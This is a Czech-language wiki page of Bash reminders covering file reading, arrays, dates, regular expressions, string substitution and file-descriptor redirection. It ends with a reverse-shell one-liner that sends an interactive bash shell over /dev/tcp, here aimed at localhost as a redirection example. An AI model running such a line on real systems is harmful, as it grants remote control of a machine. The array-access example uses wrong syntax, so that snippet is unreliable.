====== Obecně Bash ====== * bash je velice mocný :) jde v něm všechno, ale člověk hodně zapomíná :) Sespsal jsem alespoň pár velice často zapomínaných věcí :) ===== Čtení ze souboru ===== * velice jednoduché čtení po jednom řádku * pokud se přenastaví IPS, lze myslím použít i na čtení hodnot oddělených jinak než newline while read line do echo $line done < $FILE ===== Pole ===== * inicializace MY_ARRAY=("ONE" "TWO") * přistup k hodnotám echo ${MY_ARRAY(0)} echo ${MY_ARRAY(1)} ===== Datum a čas ===== * převod data na timestamp date +%s * a zpátky date -d @1365436714 ===== Regulární výrazy ===== * bash podporuje regulární výrazy přímo, například v podmínkách (také v cyklech..) [[ $string =~ $regex ]] * pěkný regex pro poctivé parsování IP adresy přes bash RE_IP="(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" ==== Startwith/Endwith ==== * pro porovnání typu startwith/endwith lze použít i standardní možnosti shellu ([[http://www.tldp.org/LDP/abs/html/parameter-substitution.html|parameter substitution, example 10-8]]) MY_STR="123ABC" MY_SUB1="123" MY_SUB2="ABC" echo "${MY_STR#$MY_SUB1}, ${MY_STR%$MY_SUB2}" [ "${MY_STR}" != ${MY_STR#$MY_SUB1} ] && echo "${MY_STR} startwith ${MY_SUB1}" [ "${MY_STR}" != ${MY_STR%$MY_SUB2} ] && echo "${MY_STR} endwith ${MY_SUB2}" ABC, 123 123ABC startwith 123 123ABC endwith ABC ===== Řetězce ===== * http://tldp.org/LDP/abs/html/string-manipulation.html * nahrazení všech výskytů podřetězce řetězcem X="a.b.c"; echo ${X//./#} a#b#c * získání podřetězce x="AAA#BBB"; echo ${x#*#}; echo ${x%#*} BBB AAA ===== vstupy/výstupy ===== * standardní file descriptor procesu: * 0 STDIN * 1 STDOUT * 2 STDERR * otevři soubor /tmp/x pro zápis jako STDOUT (FD 1) exec > /tmp/x echo "aaa" echo "aaa" > /tmp/x * zduplikuj FD 2 na FD 1 exec 2>&1 * nastav FD1 + FD2 na /tmp/x exec &> /tmp/x * nastav stdin na stejný fd jeako stdout 0>&1 0<&1 <&1 * reverse shell: vytvoř TCP soket na IP 127.0.0.1, port 9999, nasměruj na něj výstup interaktivního bash shellu a vstup čti z tohoto socketu bash -i &> /dev/tcp/127.0.0.1/9999 0>&1